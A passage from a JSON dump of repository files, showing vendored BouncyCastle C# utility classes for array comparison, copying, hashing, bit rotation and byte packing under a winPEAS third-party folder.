true;\n\n            int len = System.Math.Min(a.Length, b.Length);\n            int nonEqual = a.Length ^ b.Length;\n            for (int i = 0; i < len; ++i)\n            {\n                nonEqual |= (a[i] ^ b[i]);\n            }\n            for (int i = len; i < b.Length; ++i)\n            {\n                nonEqual |= (b[i] ^ ~b[i]);\n            }\n            return 0 == nonEqual;\n        }\n\n        public static bool ConstantTimeAreEqual(int len, byte[] a, int aOff, byte[] b, int bOff)\n        {\n            if (null == a)\n                throw new ArgumentNullException(\"a\");\n            if (null == b)\n                throw new ArgumentNullException(\"b\");\n            if (len < 0)\n                throw new ArgumentException(\"cannot be negative\", \"len\");\n            if (aOff > (a.Length - len))\n                throw new IndexOutOfRangeException(\"'aOff' value invalid for specified length\");\n            if (bOff > (b.Length - len))\n                throw new IndexOutOfRangeException(\"'bOff' value invalid for specified length\");\n\n            int d = 0;\n            for (int i = 0; i < len; ++i)\n            {\n                d |= (a[aOff + i] ^ b[bOff + i]);\n            }\n            return 0 == d;\n        }\n\n        public static bool AreEqual(\n            int[] a,\n            int[] b)\n        {\n            if (a == b)\n                return true;\n\n            if (a == null || b == null)\n                return false;\n\n            return HaveSameContents(a, b);\n        }\n\n        //[CLSCompliant(false)]\n        public static bool AreEqual(uint[] a, uint[] b)\n        {\n            if (a == b)\n                return true;\n\n            if (a == null || b == null)\n                return false;\n\n            return HaveSameContents(a, b);\n        }\n\n        public static bool AreEqual(long[] a, long[] b)\n        {\n            if (a == b)\n                return true;\n\n            if (a == null || b == null)\n                return false;\n\n            return HaveSameContents(a, b);\n        }\n\n        //[CLSCompliant(false)]\n        public static bool AreEqual(ulong[] a, ulong[] b)\n        {\n            if (a == b)\n                return true;\n\n            if (a == null || b == null)\n                return false;\n\n            return HaveSameContents(a, b);\n        }\n\n        private static bool HaveSameContents(\n            bool[] a,\n            bool[] b)\n        {\n            int i = a.Length;\n            if (i != b.Length)\n                return false;\n            while (i != 0)\n            {\n                --i;\n                if (a[i] != b[i])\n                    return false;\n            }\n            return true;\n        }\n\n        private static bool HaveSameContents(\n            char[] a,\n            char[] b)\n        {\n            int i = a.Length;\n            if (i != b.Length)\n                return false;\n            while (i != 0)\n            {\n                --i;\n                if (a[i] != b[i])\n                    return false;\n            }\n            return true;\n        }\n\n        private static bool HaveSameContents(\n            byte[] a,\n            byte[] b)\n        {\n            int i = a.Length;\n            if (i != b.Length)\n                return false;\n            while (i != 0)\n            {\n                --i;\n                if (a[i] != b[i])\n                    return false;\n            }\n            return true;\n        }\n\n        private static bool HaveSameContents(\n            int[] a,\n            int[] b)\n        {\n            int i = a.Length;\n            if (i != b.Length)\n                return false;\n            while (i != 0)\n            {\n                --i;\n                if (a[i] != b[i])\n                    return false;\n            }\n            return true;\n        }\n\n        private static bool HaveSameContents(uint[] a, uint[] b)\n        {\n            int i = a.Length;\n            if (i != b.Length)\n                return false;\n            while (i != 0)\n            {\n                --i;\n                if (a[i] != b[i])\n                    return false;\n            }\n            return true;\n        }\n\n        private static bool HaveSameContents(long[] a, long[] b)\n        {\n            int i = a.Length;\n            if (i != b.Length)\n                return false;\n            while (i != 0)\n            {\n                --i;\n                if (a[i] != b[i])\n                    return false;\n            }\n            return true;\n        }\n\n        private static bool HaveSameContents(ulong[] a, ulong[] b)\n        {\n            int i = a.Length;\n            if (i != b.Length)\n                return false;\n            while (i != 0)\n            {\n                --i;\n                if (a[i] != b[i])\n                    return false;\n            }\n            return true;\n        }\n\n        public static string ToString(\n            object[] a)\n        {\n            StringBuilder sb = new StringBuilder(\"[\");\n            if (a.Length > 0)\n            {\n                sb.Append(a[0]);\n                for (int index = 1; index < a.Length; ++index)\n                {\n                    sb.Append(\", \").Append(a[index]);\n                }\n            }\n            sb.Append(']');\n            return sb.ToString();\n        }\n\n        public static int GetHashCode(byte[] data)\n        {\n            if (data == null)\n            {\n                return 0;\n            }\n\n            int i = data.Length;\n            int hc = i + 1;\n\n            while (--i >= 0)\n            {\n                hc *= 257;\n                hc ^= data[i];\n            }\n\n            return hc;\n        }\n\n        public static int GetHashCode(byte[] data, int off, int len)\n        {\n            if (data == null)\n            {\n                return 0;\n            }\n\n            int i = len;\n            int hc = i + 1;\n\n            while (--i >= 0)\n            {\n                hc *= 257;\n                hc ^= data[off + i];\n            }\n\n            return hc;\n        }\n\n        public static int GetHashCode(int[] data)\n        {\n            if (data == null)\n                return 0;\n\n            int i = data.Length;\n            int hc = i + 1;\n\n            while (--i >= 0)\n            {\n                hc *= 257;\n                hc ^= data[i];\n            }\n\n            return hc;\n        }\n\n        public static int GetHashCode(int[] data, int off, int len)\n        {\n            if (data == null)\n                return 0;\n\n            int i = len;\n            int hc = i + 1;\n\n            while (--i >= 0)\n            {\n                hc *= 257;\n                hc ^= data[off + i];\n            }\n\n            return hc;\n        }\n\n        //[CLSCompliant(false)]\n        public static int GetHashCode(uint[] data)\n        {\n            if (data == null)\n                return 0;\n\n            int i = data.Length;\n            int hc = i + 1;\n\n            while (--i >= 0)\n            {\n                hc *= 257;\n                hc ^= (int)data[i];\n            }\n\n            return hc;\n        }\n\n        //[CLSCompliant(false)]\n        public static int GetHashCode(uint[] data, int off, int len)\n        {\n            if (data == null)\n                return 0;\n\n            int i = len;\n            int hc = i + 1;\n\n            while (--i >= 0)\n            {\n                hc *= 257;\n                hc ^= (int)data[off + i];\n            }\n\n            return hc;\n        }\n\n        //[CLSCompliant(false)]\n        public static int GetHashCode(ulong[] data)\n        {\n            if (data == null)\n                return 0;\n\n            int i = data.Length;\n            int hc = i + 1;\n\n            while (--i >= 0)\n            {\n                ulong di = data[i];\n                hc *= 257;\n                hc ^= (int)di;\n                hc *= 257;\n                hc ^= (int)(di >> 32);\n            }\n\n            return hc;\n        }\n\n        //[CLSCompliant(false)]\n        public static int GetHashCode(ulong[] data, int off, int len)\n        {\n            if (data == null)\n                return 0;\n\n            int i = len;\n            int hc = i + 1;\n\n            while (--i >= 0)\n            {\n                ulong di = data[off + i];\n                hc *= 257;\n                hc ^= (int)di;\n                hc *= 257;\n                hc ^= (int)(di >> 32);\n            }\n\n            return hc;\n        }\n\n        public static bool[] Clone(bool[] data)\n        {\n            return data == null ? null : (bool[])data.Clone();\n        }\n\n        public static byte[] Clone(byte[] data)\n        {\n            return data == null ? null : (byte[])data.Clone();\n        }\n\n        public static int[] Clone(int[] data)\n        {\n            return data == null ? null : (int[])data.Clone();\n        }\n\n        //[CLSCompliant(false)]\n        public static uint[] Clone(uint[] data)\n        {\n            return data == null ? null : (uint[])data.Clone();\n        }\n\n        public static long[] Clone(long[] data)\n        {\n            return data == null ? null : (long[])data.Clone();\n        }\n\n        //[CLSCompliant(false)]\n        public static ulong[] Clone(ulong[] data)\n        {\n            return data == null ? null : (ulong[])data.Clone();\n        }\n\n        public static byte[] Clone(byte[] data, byte[] existing)\n        {\n            if (data == null)\n                return null;\n            if (existing == null || existing.Length != data.Length)\n                return Clone(data);\n            Array.Copy(data, 0, existing, 0, existing.Length);\n            return existing;\n        }\n\n        //[CLSCompliant(false)]\n        public static ulong[] Clone(ulong[] data, ulong[] existing)\n        {\n            if (data == null)\n                return null;\n            if (existing == null || existing.Length != data.Length)\n                return Clone(data);\n            Array.Copy(data, 0, existing, 0, existing.Length);\n            return existing;\n        }\n\n        public static bool Contains(byte[] a, byte n)\n        {\n            for (int i = 0; i < a.Length; ++i)\n            {\n                if (a[i] == n)\n                    return true;\n            }\n            return false;\n        }\n\n        public static bool Contains(short[] a, short n)\n        {\n            for (int i = 0; i < a.Length; ++i)\n            {\n                if (a[i] == n)\n                    return true;\n            }\n            return false;\n        }\n\n        public static bool Contains(int[] a, int n)\n        {\n            for (int i = 0; i < a.Length; ++i)\n            {\n                if (a[i] == n)\n                    return true;\n            }\n            return false;\n        }\n\n        public static void Fill(\n            byte[] buf,\n            byte b)\n        {\n            int i = buf.Length;\n            while (i > 0)\n            {\n                buf[--i] = b;\n            }\n        }\n\n        public static void Fill(byte[] buf, int from, int to, byte b)\n        {\n            for (int i = from; i < to; ++i)\n            {\n                buf[i] = b;\n            }\n        }\n\n        public static byte[] CopyOf(byte[] data, int newLength)\n        {\n            byte[] tmp = new byte[newLength];\n            Array.Copy(data, 0, tmp, 0, System.Math.Min(newLength, data.Length));\n            return tmp;\n        }\n\n        public static char[] CopyOf(char[] data, int newLength)\n        {\n            char[] tmp = new char[newLength];\n            Array.Copy(data, 0, tmp, 0, System.Math.Min(newLength, data.Length));\n            return tmp;\n        }\n\n        public static int[] CopyOf(int[] data, int newLength)\n        {\n            int[] tmp = new int[newLength];\n            Array.Copy(data, 0, tmp, 0, System.Math.Min(newLength, data.Length));\n            return tmp;\n        }\n\n        public static long[] CopyOf(long[] data, int newLength)\n        {\n            long[] tmp = new long[newLength];\n            Array.Copy(data, 0, tmp, 0, System.Math.Min(newLength, data.Length));\n            return tmp;\n        }\n\n        public static BigInteger[] CopyOf(BigInteger[] data, int newLength)\n        {\n            BigInteger[] tmp = new BigInteger[newLength];\n            Array.Copy(data, 0, tmp, 0, System.Math.Min(newLength, data.Length));\n            return tmp;\n        }\n\n        /**\n         * Make a copy of a range of bytes from the passed in data array. The range can\n         * extend beyond the end of the input array, in which case the return array will\n         * be padded with zeroes.\n         *\n         * @param data the array from which the data is to be copied.\n         * @param from the start index at which the copying should take place.\n         * @param to the final index of the range (exclusive).\n         *\n         * @return a new byte array containing the range given.\n         */\n        public static byte[] CopyOfRange(byte[] data, int from, int to)\n        {\n            int newLength = GetLength(from, to);\n            byte[] tmp = new byte[newLength];\n            Array.Copy(data, from, tmp, 0, System.Math.Min(newLength, data.Length - from));\n            return tmp;\n        }\n\n        public static int[] CopyOfRange(int[] data, int from, int to)\n        {\n            int newLength = GetLength(from, to);\n            int[] tmp = new int[newLength];\n            Array.Copy(data, from, tmp, 0, System.Math.Min(newLength, data.Length - from));\n            return tmp;\n        }\n\n        public static long[] CopyOfRange(long[] data, int from, int to)\n        {\n            int newLength = GetLength(from, to);\n            long[] tmp = new long[newLength];\n            Array.Copy(data, from, tmp, 0, System.Math.Min(newLength, data.Length - from));\n            return tmp;\n        }\n\n        public static BigInteger[] CopyOfRange(BigInteger[] data, int from, int to)\n        {\n            int newLength = GetLength(from, to);\n            BigInteger[] tmp = new BigInteger[newLength];\n            Array.Copy(data, from, tmp, 0, System.Math.Min(newLength, data.Length - from));\n            return tmp;\n        }\n\n        private static int GetLength(int from, int to)\n        {\n            int newLength = to - from;\n            if (newLength < 0)\n                throw new ArgumentException(from + \" > \" + to);\n            return newLength;\n        }\n\n        public static byte[] Append(byte[] a, byte b)\n        {\n            if (a == null)\n                return new byte[] { b };\n\n            int length = a.Length;\n            byte[] result = new byte[length + 1];\n            Array.Copy(a, 0, result, 0, length);\n            result[length] = b;\n            return result;\n        }\n\n        public static short[] Append(short[] a, short b)\n        {\n            if (a == null)\n                return new short[] { b };\n\n            int length = a.Length;\n            short[] result = new short[length + 1];\n            Array.Copy(a, 0, result, 0, length);\n            result[length] = b;\n            return result;\n        }\n\n        public static int[] Append(int[] a, int b)\n        {\n            if (a == null)\n                return new int[] { b };\n\n            int length = a.Length;\n            int[] result = new int[length + 1];\n            Array.Copy(a, 0, result, 0, length);\n            result[length] = b;\n            return result;\n        }\n\n        public static byte[] Concatenate(byte[] a, byte[] b)\n        {\n            if (a == null)\n                return Clone(b);\n            if (b == null)\n                return Clone(a);\n\n            byte[] rv = new byte[a.Length + b.Length];\n            Array.Copy(a, 0, rv, 0, a.Length);\n            Array.Copy(b, 0, rv, a.Length, b.Length);\n            return rv;\n        }\n\n        public static byte[] ConcatenateAll(params byte[][] vs)\n        {\n            byte[][] nonNull = new byte[vs.Length][];\n            int count = 0;\n            int totalLength = 0;\n\n            for (int i = 0; i < vs.Length; ++i)\n            {\n                byte[] v = vs[i];\n                if (v != null)\n                {\n                    nonNull[count++] = v;\n                    totalLength += v.Length;\n                }\n            }\n\n            byte[] result = new byte[totalLength];\n            int pos = 0;\n\n            for (int j = 0; j < count; ++j)\n            {\n                byte[] v = nonNull[j];\n                Array.Copy(v, 0, result, pos, v.Length);\n                pos += v.Length;\n            }\n\n            return result;\n        }\n\n        public static int[] Concatenate(int[] a, int[] b)\n        {\n            if (a == null)\n                return Clone(b);\n            if (b == null)\n                return Clone(a);\n\n            int[] rv = new int[a.Length + b.Length];\n            Array.Copy(a, 0, rv, 0, a.Length);\n            Array.Copy(b, 0, rv, a.Length, b.Length);\n            return rv;\n        }\n\n        public static byte[] Prepend(byte[] a, byte b)\n        {\n            if (a == null)\n                return new byte[] { b };\n\n            int length = a.Length;\n            byte[] result = new byte[length + 1];\n            Array.Copy(a, 0, result, 1, length);\n            result[0] = b;\n            return result;\n        }\n\n        public static short[] Prepend(short[] a, short b)\n        {\n            if (a == null)\n                return new short[] { b };\n\n            int length = a.Length;\n            short[] result = new short[length + 1];\n            Array.Copy(a, 0, result, 1, length);\n            result[0] = b;\n            return result;\n        }\n\n        public static int[] Prepend(int[] a, int b)\n        {\n            if (a == null)\n                return new int[] { b };\n\n            int length = a.Length;\n            int[] result = new int[length + 1];\n            Array.Copy(a, 0, result, 1, length);\n            result[0] = b;\n            return result;\n        }\n\n        public static byte[] Reverse(byte[] a)\n        {\n            if (a == null)\n                return null;\n\n            int p1 = 0, p2 = a.Length;\n            byte[] result = new byte[p2];\n\n            while (--p2 >= 0)\n            {\n                result[p2] = a[p1++];\n            }\n\n            return result;\n        }\n\n        public static int[] Reverse(int[] a)\n        {\n            if (a == null)\n                return null;\n\n            int p1 = 0, p2 = a.Length;\n            int[] result = new int[p2];\n\n            while (--p2 >= 0)\n            {\n                result[p2] = a[p1++];\n            }\n\n            return result;\n        }\n\n        public static void Clear(byte[] data)\n        {\n            if (null != data)\n            {\n                Array.Clear(data, 0, data.Length);\n            }\n        }\n\n        public static void Clear(int[] data)\n        {\n            if (null != data)\n            {\n                Array.Clear(data, 0, data.Length);\n            }\n        }\n\n        public static bool IsNullOrContainsNull(object[] array)\n        {\n            if (null == array)\n                return true;\n\n            int count = array.Length;\n            for (int i = 0; i < count; ++i)\n            {\n                if (null == array[i])\n                    return true;\n            }\n            return false;\n        }\n\n        public static bool IsNullOrEmpty(byte[] array)\n        {\n            return null == array || array.Length < 1;\n        }\n\n        public static bool IsNullOrEmpty(object[] array)\n        {\n            return null == array || array.Length < 1;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/util/Longs.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.math.raw;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.util\n{\n    public abstract class Longs\n    {\n        public static long Reverse(long i)\n        {\n            i = (long)Bits.BitPermuteStepSimple((ulong)i, 0x5555555555555555UL, 1);\n            i = (long)Bits.BitPermuteStepSimple((ulong)i, 0x3333333333333333UL, 2);\n            i = (long)Bits.BitPermuteStepSimple((ulong)i, 0x0F0F0F0F0F0F0F0FUL, 4);\n            return ReverseBytes(i);\n        }\n\n        //[CLSCompliant(false)]\n        public static ulong Reverse(ulong i)\n        {\n            i = Bits.BitPermuteStepSimple(i, 0x5555555555555555UL, 1);\n            i = Bits.BitPermuteStepSimple(i, 0x3333333333333333UL, 2);\n            i = Bits.BitPermuteStepSimple(i, 0x0F0F0F0F0F0F0F0FUL, 4);\n            return ReverseBytes(i);\n        }\n\n        public static long ReverseBytes(long i)\n        {\n            return RotateLeft((long)((ulong)i & 0xFF000000FF000000UL), 8) |\n                   RotateLeft((long)((ulong)i & 0x00FF000000FF0000UL), 24) |\n                   RotateLeft((long)((ulong)i & 0x0000FF000000FF00UL), 40) |\n                   RotateLeft((long)((ulong)i & 0x000000FF000000FFUL), 56);\n        }\n\n        //[CLSCompliant(false)]\n        public static ulong ReverseBytes(ulong i)\n        {\n            return RotateLeft(i & 0xFF000000FF000000UL, 8) |\n                   RotateLeft(i & 0x00FF000000FF0000UL, 24) |\n                   RotateLeft(i & 0x0000FF000000FF00UL, 40) |\n                   RotateLeft(i & 0x000000FF000000FFUL, 56);\n        }\n\n        public static long RotateLeft(long i, int distance)\n        {\n            return (i << distance) ^ (long)((ulong)i >> -distance);\n        }\n\n        //[CLSCompliant(false)]\n        public static ulong RotateLeft(ulong i, int distance)\n        {\n            return (i << distance) ^ (i >> -distance);\n        }\n\n        public static long RotateRight(long i, int distance)\n        {\n            return (long)((ulong)i >> distance) ^ (i << -distance);\n        }\n\n        //[CLSCompliant(false)]\n        public static ulong RotateRight(ulong i, int distance)\n        {\n            return (i >> distance) ^ (i << -distance);\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/util/Pack.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.crypto.util\n{\n    internal sealed class Pack\n    {\n        private Pack()\n        {\n        }\n\n        internal static void UInt16_To_BE(ushort n, byte[] bs)\n        {\n            bs[0] = (byte)(n >> 8);\n            bs[1] = (byte)(n);\n        }\n\n        internal static void UInt16_To_BE(ushort n, byte[] bs, int off)\n        {\n            bs[off] = (byte)(n >> 8);\n            bs[off + 1] = (byte)(n);\n        }\n\n        internal static ushort BE_To_UInt16(byte[] bs)\n        {\n            uint n = (uint)bs[0] << 8\n                | (uint)bs[1];\n            return (ushort)n;\n        }\n\n        internal static ushort BE_To_UInt16(byte[] bs, int off)\n        {\n            uint n = (uint)bs[off] << 8\n                | (uint)bs[off + 1];\n            return (ushort)n;\n        }\n\n        internal static byte[] UInt32_To_BE(uint n)\n        {\n            byte[] bs = new byte[4];\n            UInt32_To_BE(n, bs, 0);\n            return bs;\n        }\n\n        internal static void UInt32_To_BE(uint n, byte[] bs)\n        {\n            bs[0] = (byte)(n >> 24);\n            bs[1] = (byte)(n >> 16);\n            bs[2] = (byte)(n >> 8);\n            bs[3] = (byte)(n);\n        }\n\n        internal static void UInt32_To_BE(uint n, byte[] bs, int off)\n        {\n            bs[off] = (byte)(n >> 24);\n            bs[off + 1] = (byte)(n >> 16);\n            bs[off + 2] = (byte)(n >> 8);\n            bs[off + 3] = (byte)(n);\n        }\n\n        internal static byte[] UInt32_To_BE(uint[] ns)\n        {\n            byte[] bs = new byte[4 * ns.Length];\n            UInt32_To_BE(ns, bs, 0);\n            return bs;\n        }\n\n        internal static void UInt32_To_BE(uint[] ns, byte[] bs, int off)\n        {\n            for (int i = 0; i < ns.Length; ++i)\n            {\n                UInt32_To_BE(ns[i], bs, off);\n                off += 4;\n            }\n        }\n\n        public static void UInt32_To_BE(uint[] ns, int nsOff, int nsLen, byte[] bs, int bsOff)\n        {\n            for (int i = 0; i < nsLen; ++i)\n            {\n                UInt32_To_BE(ns[nsOff + i], bs, bsOff);\n                bsOff += 4;\n            }\n        }\n\n        internal static uint BE_To_UInt32(byte[] bs)\n        {\n            return (uint)bs[0] << 24\n                | (uint)bs[1] << 16\n                | (uint)bs[2] << 8\n                | (uint)bs[3];\n        }\n\n        internal static uint BE_To_UInt32(byte[] bs, int off)\n        {\n            return (uint)bs[off] << 24\n                | (uint)bs[off + 1] << 16\n                | (uint)bs[off + 2] << 8\n                | (uint)bs[off + 3];\n        }\n\n        internal static void BE_To_UInt32(byte[] bs, int off, uint[] ns)\n        {\n            for (int i = 0; i < ns.Length; ++i)\n            {\n                ns[i] = BE_To_UInt32(bs, off);\n                off += 4;\n            }\n        }\n\n        public static void BE_To_UInt32(byte[] bs, int bsOff, uint[] ns, int nsOff, int nsLen)\n        {\n            for (int i = 0; i < nsLen; ++i)\n            {\n                ns[nsOff + i] = BE_To_UInt32(bs, bsOff);\n                bsOff += 4;\n            }\n        }\n\n        internal static byte[] UInt64_To_BE(ulong n)\n        {\n            byte[] bs = new byte[8];\n            UInt64_To_BE(n, bs, 0);\n            return bs;\n        }\n\n        internal static void UInt64_To_BE(ulong n, byte[] bs)\n        {\n            UInt32_To_BE((uint)(n >> 32), bs);\n            UInt32_To_BE((uint)(n), bs, 4);\n        }\n\n        internal static void UInt64_To_BE(ulong n, byte[] bs, int off)\n        {\n            UInt32_To_BE((uint)(n >> 32), bs, off);\n            UInt32_To_BE((uint)(n), bs, off + 4);\n        }\n\n        internal static byte[] UInt64_To_BE(ulong[] ns)\n        {\n            byte[] bs = new byte[8 * ns.Length];\n            UInt64_To_BE(ns, bs, 0);\n            return bs;\n        }\n\n        internal static void UInt64_To_BE(ulong[] ns, byte[] bs, int off)\n        {\n            for (int i = 0; i < ns.Length; ++i)\n            {\n                UInt64_To_BE(ns[i], bs, off);\n                off += 8;\n            }\n        }\n\n        public static void UInt64_To_BE(ulong[] ns, int nsOff, int nsLen, byte[] bs, int bsOff)\n        {\n            for (int i = 0; i < nsLen; ++i)\n            {\n                UInt64_To_BE(ns[nsOff + i], bs, bsOff);\n                bsOff += 8;\n            }\n        }\n\n        internal static ulong BE_To_UInt64(byte[] bs)\n        {\n            uint hi = BE_To_UInt32(bs);\n            uint lo = BE_To_UInt32(bs, 4);\n            return ((ulong)hi << 32) | (ulong)lo;\n        }\n\n        internal static ulong BE_To_UInt64(byte[] bs, int off)\n        {\n            uint hi = BE_To_UInt32(bs, off);\n            uint lo = BE_To_UInt32(bs, off + 4);\n            return ((ulong)hi << 32) | (ulong)lo;\n        }\n\n        internal static void BE_To_UInt64(byte[] bs, int off, ulong[] ns)\n        {\n            for (int i = 0; i < ns.Length; ++i)\n            {\n                ns[i] = BE_To_UInt64(bs, off);\n                off += 8;\n            }\n        }\n\n        public static void BE_To_UInt64(byte[] bs, int bsOff, ulong[] ns, int nsOff, int nsLen)\n        {\n            for (int i = 0; i < nsLen; ++i)\n            {\n                ns[nsOff + i] = BE_To_UInt64(bs, bsOff);\n                bsOff += 8;\n            }\n        }\n\n        internal static void UInt16_To_LE(ushort n, byte[] bs)\n        {\n            bs[0] = (byte)(n);\n            bs[1] = (byte)(n >> 8);\n        }\n\n        internal static void UInt16_To_LE(ushort n, byte[] bs, int off)\n        {\n            bs[off] = (byte)(n);\n            bs[off + 1] = (byte)(n >> 8);\n        }\n\n        internal static ushort LE_To_UInt16(byte[] bs)\n        {\n            uint n = (uint)bs[0]\n                | (uint)bs[1] << 8;\n            return (ushort)n;\n        }\n\n        internal static ushort LE_To_UInt16(byte[] bs, int off)\n        {\n            uint n = (uint)bs[off]\n                | (uint)bs[off + 1] << 8;\n            return (ushort)n;\n        }\n\n        internal static byte[] UInt32_To_LE(uint n)\n        {\n            byte[] bs = new byte[4];\n            UInt32_To_LE(n, bs, 0);\n            return bs;\n        }\n\n        internal static void UInt32_To_LE(uint n, byte[] bs)\n        {\n            bs[0] = (byte)(n);\n            bs[1] = (byte)(n >> 8);\n            bs[2] = (byte)(n >> 16);\n            bs[3] = (byte)(n >> 24);\n        }\n\n        internal static void UInt32_To_LE(uint n, byte[] bs, int off)\n        {\n            bs[off] = (byte)(n);\n            bs[off + 1] = (byte)(n >> 8);\n            bs[off + 2] = (byte)(n >> 16);\n            bs[off + 3] = (byte)(n >> 24);\n        }\n\n        internal static byte[] UInt32_To_LE(uint[] ns)\n        {\n            byte[] bs = new byte[4 * ns.Length];\n            UInt32_To_LE(ns, bs, 0);\n            return bs;\n        }\n\n        internal static void UInt32_To_LE(uint[] ns, byte[] bs, int off)\n        {\n            for (int i = 0; i < ns.Length; ++i)\n            {\n                UInt32_To_LE(ns[i], bs, off);\n                off += 4;\n            }\n        }\n\n        internal static void UInt32_To_LE(uint[] ns, int nsOff, int nsLen, byte[] bs, int bsOff)\n        {\n            for (int i = 0; i < nsLen; ++i)\n            {\n                UInt32_To_LE(ns[nsOff + i], bs, bsOff);\n                bsOff += 4;\n            }\n        }\n\n        internal static uint LE_To_UInt32(byte[] bs)\n        {\n            return (uint)bs[0]\n                | (uint)bs[1] << 8\n                | (uint)bs[2] << 16\n                | (uint)bs[3] << 24;\n        }\n\n        internal static uint LE_To_UInt32(byte[] bs, int off)\n        {\n            return (uint)bs[off]\n                | (uint)bs[off + 1] << 8\n                | (uint)bs[off + 2] << 16\n                | (uint)bs[off + 3] << 24;\n        }\n\n        internal static void LE_To_UInt32(byte[] bs, int off, uint[] ns)\n        {\n            for (int i = 0; i < ns.Length; ++i)\n            {\n                ns[i] = LE_To_UInt32(bs, off);\n                off += 4;\n            }\n        }\n\n        internal static void LE_To_UInt32(byte[] bs, int bOff, uint[] ns, int nOff, int count)\n        {\n            for (int i = 0; i < count; ++i)\n            {\n                ns[nOff + i] = LE_To_UInt32(bs, bOff);\n                bOff += 4;\n            }\n        }\n\n        internal static uint[] LE_To_UInt32(byte[] bs, int off, int count)\n        {\n            uint[] ns = new uint[count];\n            for (int i = 0; i < ns.Length; ++i)\n            {\n                ns[i] = LE_To_UInt32(bs, off);\n                off += 4;\n            }\n            return ns;\n        }\n\n        internal static byte[] UInt64_To_LE(ulong n)\n        {\n            byte[] bs = new byte[8];\n            UInt64_To_LE(n, bs, 0);\n            return bs;\n        }\n\n        internal static void UInt64_To_LE(ulong n, byte[] bs)\n        {\n            UInt32_To_LE((uint)(n), bs);\n            UInt32_To_LE((uint)(n >> 32), bs, 4);\n        }\n\n        internal static void UInt64_To_LE(ulong n, byte[] bs, int off)\n        {\n            UInt32_To_LE((uint)(n), bs, off);\n            UInt32_To_LE((uint)(n >> 32), bs, off + 4);\n        }\n\n        internal static byte[] UInt64_To_LE(ulong[] ns)\n        {\n            byte[] bs = new byte[8 * ns.Length];\n            UInt64_To_LE(ns, bs, 0);\n            return bs;\n        }\n\n        internal static void UInt64_To_LE(ulong[] ns, byte[] bs, int off)\n        {\n            for (int i = 0; i < ns.Length; ++i)\n            {\n                UInt64_To_LE(ns[i], bs, off);\n                off += 8;\n            }\n        }\n\n        internal static void UInt64_To_LE(ulong[] ns, int nsOff, int nsLen, byte[] bs, int bsOff)\n        {\n            for (int i = 0; i < nsLen; ++i)\n            {\n                UInt64_To_LE(ns[nsOff + i], bs, bsOff);\n                bsOff += 8;\n            }\n        }\n\n        internal static ulong LE_To_UInt64(byte[] bs)\n        {\n            uint lo = LE_To_UInt32(bs);\n            uint hi = LE_To_UInt32(bs, 4);\n            return ((ulong)hi << 32) | (ulong)lo;\n        }\n\n        internal static ulong LE_To_UInt64(byte[] bs, int off)\n        {\n            uint lo = LE_To_UInt32(bs, off);\n            uint hi = LE_To_UInt32(bs, off + 4);\n            return ((ulong)hi << 32) | (ulong)lo;\n        }\n\n        internal static void LE_To_UInt64(byte[] bs, int off, ulong[] ns)\n        {\n            for (int i = 0; i < ns.Length; ++i)\n            {\n                ns[i] = LE_To_UInt64(bs, off);\n                off += 8;\n            }\n        }\n\n        internal static void LE_To_UInt64(byte[] bs, int bsOff, ulong[] ns, int nsOff, int nsLen)\n        {\n            for (int i = 0; i < nsLen; ++i)\n            {\n                ns[nsOff + i] = LE_To_UInt64(bs, bsOff);\n                bsOff += 8;\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/util/Platform.cs",
    "content": "﻿using System;\nusing System.Collections;\nusing System.Globalization;\nusing System.IO;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.util\n{\n    internal abstract class Platform\n    {\n        private static readonly CompareInfo InvariantCompareInfo = CultureInfo.InvariantCulture.CompareInfo;\n\n#if NETCF_1_0 || NETCF_2_0\n        private static string GetNewLine()\n        {\n            MemoryStream buf = new MemoryStream();\n            StreamWriter w = new StreamWriter(buf, Encoding.UTF8);\n            w.WriteLine();\n            Dispose(w);\n            byte[] bs = buf.ToArray();\n            return Encoding.UTF8.GetString(bs, 0, bs.Length);\n        }\n#else\n        private static string GetNewLine()\n        {\n            return Environment.NewLine;\n        }\n#endif\n\n        internal static bool EqualsIgnoreCase(string a, string b)\n        {\n#if PORTABLE\n            return String.Equals(a, b, StringComparison.OrdinalIgnoreCase);\n#else\n            return ToUpperInvariant(a) == ToUpperInvariant(b);\n#endif\n        }\n\n#if NETCF_1_0 || NETCF_2_0 || SILVERLIGHT || (PORTABLE && !DOTNET)\n        internal static string GetEnvironmentVariable(\n            string variable)\n        {\n            return null;\n        }\n#else\n        internal static string GetEnvironmentVariable(\n            string variable)\n        {\n            try\n            {\n                return Environment.GetEnvironmentVariable(variable);\n            }\n            catch (System.Security.SecurityException)\n            {\n                // We don't have the required permission to read this environment variable,\n                // which is fine, just act as if it's not set\n                return null;\n            }\n        }\n#endif\n\n#if NETCF_1_0\n        internal static Exception CreateNotImplementedException(\n            string message)\n        {\n            return new Exception(\"Not implemented: \" + message);\n        }\n\n        internal static bool Equals(\n            object\ta,\n            object\tb)\n        {\n            return a == b || (a != null && b != null && a.Equals(b));\n        }\n#else\n        internal static Exception CreateNotImplementedException(\n            string message)\n        {\n            return new NotImplementedException(message);\n        }\n#endif\n\n#if SILVERLIGHT || PORTABLE\n        internal static System.Collections.IList CreateArrayList()\n        {\n            return new List<object>();\n        }\n        internal static System.Collections.IList CreateArrayList(int capacity)\n        {\n            return new List<object>(capacity);\n        }\n        internal static System.Collections.IList CreateArrayList(System.Collections.ICollection collection)\n        {\n            System.Collections.IList result = new List<object>(collection.Count);\n            foreach (object o in collection)\n            {\n                result.Add(o);\n            }\n            return result;\n        }\n        internal static System.Collections.IList CreateArrayList(System.Collections.IEnumerable collection)\n        {\n            System.Collections.IList result = new List<object>();\n            foreach (object o in collection)\n            {\n                result.Add(o);\n            }\n            return result;\n        }\n        internal static System.Collections.IDictionary CreateHashtable()\n        {\n            return new Dictionary<object, object>();\n        }\n        internal static System.Collections.IDictionary CreateHashtable(int capacity)\n        {\n            return new Dictionary<object, object>(capacity);\n        }\n        internal static System.Collections.IDictionary CreateHashtable(System.Collections.IDictionary dictionary)\n        {\n            System.Collections.IDictionary result = new Dictionary<object, 